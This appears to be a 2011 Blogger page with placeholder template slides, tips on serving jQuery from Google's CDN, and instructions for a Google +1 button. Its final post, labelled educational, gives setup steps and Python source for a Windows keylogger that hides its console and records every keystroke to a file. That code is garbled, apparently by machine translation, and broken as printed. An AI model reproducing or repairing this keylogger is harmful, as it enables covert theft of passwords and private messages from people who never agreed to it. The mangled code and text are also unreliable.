This is default featured slide 1 title
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.
This is default featured slide 2 title
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.
This is default featured slide 3 title
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.
This is default featured slide 4 title
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.
This is default featured slide 5 title
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam. blogger theme by BTemplates4u.com.
Sunday, June 26, 2011
Microsoft way of saying "Fuck you Linux and Mac".
Wednesday, June 22, 2011
3 reasons why you should let Google host jQuery for you
<script type="text/javascript" src="/js/jQuery.min.js"></script>Instead, I urge you to use the Google AJAX Libraries content delivery network to serve jQuery to your users directly from Google’s network of datacenters. Doing so has several advantages over hosting jQuery on your server(s): decreased latency,increased parallelism, and better caching.
Increased parallelism
Better caching
Implementation
The google.load() approach offers the most functionality and performance.
<script type="text/javascript">
// You may specify partial version numbers, such as "1" or "1.3",
// with the same result. Doing so will automatically load the
// latest version matching that partial revision pattern
// (e.g. 1.3 would load 1.3.2 today and 1 would load 1.6.1).
google.load("jquery", "1.6.1");
google.setOnLoadCallback(function() {
// Place init code here instead of $(document).ready()
});
script>Back to basics
http:, that's a helpful trick which allows you to use a single reference that works on both HTTP and HTTPS pages. For more information about that and why it matters, be sure to check out this follow-up post: Cripple the Google CDN’s caching with a single character.Conclusion
Sunday, June 19, 2011
How to Add goOgle "+1" button to your website
Place this line of code in your head section or just before you close the body tag:
<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
"<g:plusone></g:plusone>"
E.g.:
<g:plusone href="http://psychocoding.blogspot.com/"></g:plusone>;
<link rel="canonical" href="http://psychocoding.blogspot.com/" />
If both the above values are not specified then goOgle looks for the URL of the page as defined in document.location.href i.e the URL as found in DOM.
E.g.
<g:plusone href="<?php echo get_permalink(); ?>"></plusone>
This is just the basic stuff If you want to customize your +1 button to more extent you can goto through this page and learn about changing the size of button or showing or hiding the count of your button etc.
<g:plusone size="standard" count="true"></g:plusone>
Note : This article is originally posted by Snehil Khanor [a] http://blog.snehilkhanor.com/category/technology/google/
Friday, June 10, 2011
How to create a keylogger in just 5 minutes
So the installation of a keylogger on acomputer without the knowledge of the rightful owner, is configured as a real crime of violation of privacy: the intercepted data (chat sessions, usernames and passwords, email, ...) in fact are usually saved to a log file that the owner of the keylogger retrieve it later or even the are automatically sent via email.
This post is for Educational purposes only, we will see how we can create a simple keylogger fully function, using thePython. Here are the steps to follow:
- Download and install the necessary software:
- Python 2.6: http://www.python.org/
- Pyhook for Python 2.6: pyhook.sourceforge.net
- Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
- From the Start menu, select "Python 2.6> PythonWin" to start the editor
- From the menu select "File> New", then choose the "Python Script" and give "OK"
- Paste the following source (attention to indentation)
import WIN32API import win32console import win32gui import pythoncom, pyHook win32console.GetConsoleWindow win = () win32gui.ShowWindow (win, 0) final OnKeyboardEvent (event): if event.Ascii == 5: _exit (1) if event.Ascii! = 0 or 8: f = open ( 'c: \ output.txt', 'r') buffer = f.read () f.close () f = open ( 'c: \ output.txt', 'w') keylogs = chr (event.Ascii) if event.Ascii == 13: keylogs = '/ n' buffer + = keylogs f.write (buffer) f.close () hm = pyHook.HookManager () hm.KeyDown = OnKeyboardEvent hm.HookKeyboard () pythoncom.PumpMessages ()
- Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.















